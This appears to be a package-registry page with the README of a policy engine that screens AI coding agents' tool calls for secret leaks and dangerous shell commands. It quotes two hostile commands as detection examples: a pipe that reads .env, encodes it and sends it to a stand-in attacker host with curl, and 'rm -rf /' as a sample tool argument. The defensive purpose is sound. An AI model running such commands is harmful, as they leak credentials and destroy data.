New:Introducing Socket Scanning for VS Code Marketplace Extensions.Learn more →
Get Started

@node9/policy-engine

Package Overview
Dependencies
Maintainers
1
Versions
129
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@node9/policy-engine

Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.

latest
Source
npmnpm
Version
2.29.0
Version published
Weekly downloads
1.2K
-14.17%
Maintainers
1
Weekly downloads
 
Created
Source

@node9/policy-engine

Shared policy evaluation engine for node9 — pure functions, no I/O. Used by both the local proxy (@node9/proxy) and the node9 SaaS firewall so policy decisions are identical wherever they run.

What's in here

  • DLP scanners — scanArgs, scanText, redactText, matchSensitivePath, SENSITIVE_PATH_REGEXES, DLP_PATTERNS. Detects AWS keys, GitHub tokens, OpenAI keys, Stripe secrets, JWTs, generic high-entropy secrets, sensitive file paths, and more — with ReDoS-safe regex compilation, entropy filtering, and a stopword list to suppress placeholders.
  • Shell AST detectors — normalizeCommandForPolicy, detectDangerousShellExec, analyzeShellCommand. mvdan-sh-based structural detection that can't be fooled by quoted strings.
  • Smart-rule matcher — matchesPattern, evaluateSmartConditions, getNestedValue. Tool-name globbing + condition evaluation against args (exists, contains, matches, matchesGlob, …).
  • Pipe-chain exfiltration detector — analyzePipeChain flags cat .env | base64 | curl evil.com even when each segment looks safe in isolation.
  • SSH host extraction — extractAllSshHosts, parseAllSshHostsFromCommand. Catches jump hosts in -J, ProxyJump=, ProxyCommand=.
  • Builtin shields — 11 curated shield definitions (postgres, mongodb, redis, aws, k8s, docker, github, filesystem, bash-safe, project-jail, mcp-tool-gating) bundled as data, plus pure validators (validateShieldDefinition, validateOverrides).
  • Loop window math — evaluateLoopWindow, computeArgsHash.
  • Stateless policy evaluator — evaluatePolicy(config, tool, args, context?, hooks?). The full waterfall (DLP → ignored → smart rules → inline-exec → eval → pipe-chain → provenance → sandbox → dangerous words → strict-mode) in one function. The host injects checkProvenance and isTrustedHost as callbacks if it wants those filesystem-touching tiers — otherwise they're skipped.

Purity

No fs, path, os, or process imports. The only Node built-in used is crypto (for stable hashing in the loop detector). Anything that needs to touch disk arrives via the hooks parameter.

Usage

import { evaluatePolicy } from '@node9/policy-engine';

const verdict = await evaluatePolicy(
  config, // your policy config
  'Bash', // tool name
  { command: 'rm -rf /' }, // tool args
  { agent: 'Claude Code' }, // context (optional)
  {
    // host hooks (optional)
    checkProvenance: (bin, cwd) => /* … */,
    isTrustedHost: (host) => /* … */,
  },
);
// → { decision: 'review' | 'allow' | 'block', tier, reason, … }

License

Apache-2.0

Keywords

node9

FAQs

Package last updated on 10 Oct 2026

Related posts